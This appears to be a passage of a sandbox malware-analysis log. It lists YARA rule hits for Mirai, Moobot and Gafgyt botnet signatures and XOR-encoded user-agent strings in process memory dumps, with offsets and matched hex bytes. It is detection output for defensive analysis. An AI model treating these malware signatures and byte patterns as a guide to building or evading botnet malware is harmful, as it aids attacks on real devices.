2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
6315.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
6798.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6798.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
6798.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
7111.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6798.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6798.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
6798.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
7283.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6596.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6596.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
6596.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6596.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6596.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
6596.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
6379.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6413.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6413.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
6413.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6413.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6413.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
6413.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
6699.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6699.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
6699.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6699.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6699.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
6699.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
7094.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
7094.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
7094.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
7094.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
7094.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
7094.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
6233.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6355.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6355.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
6355.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6355.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
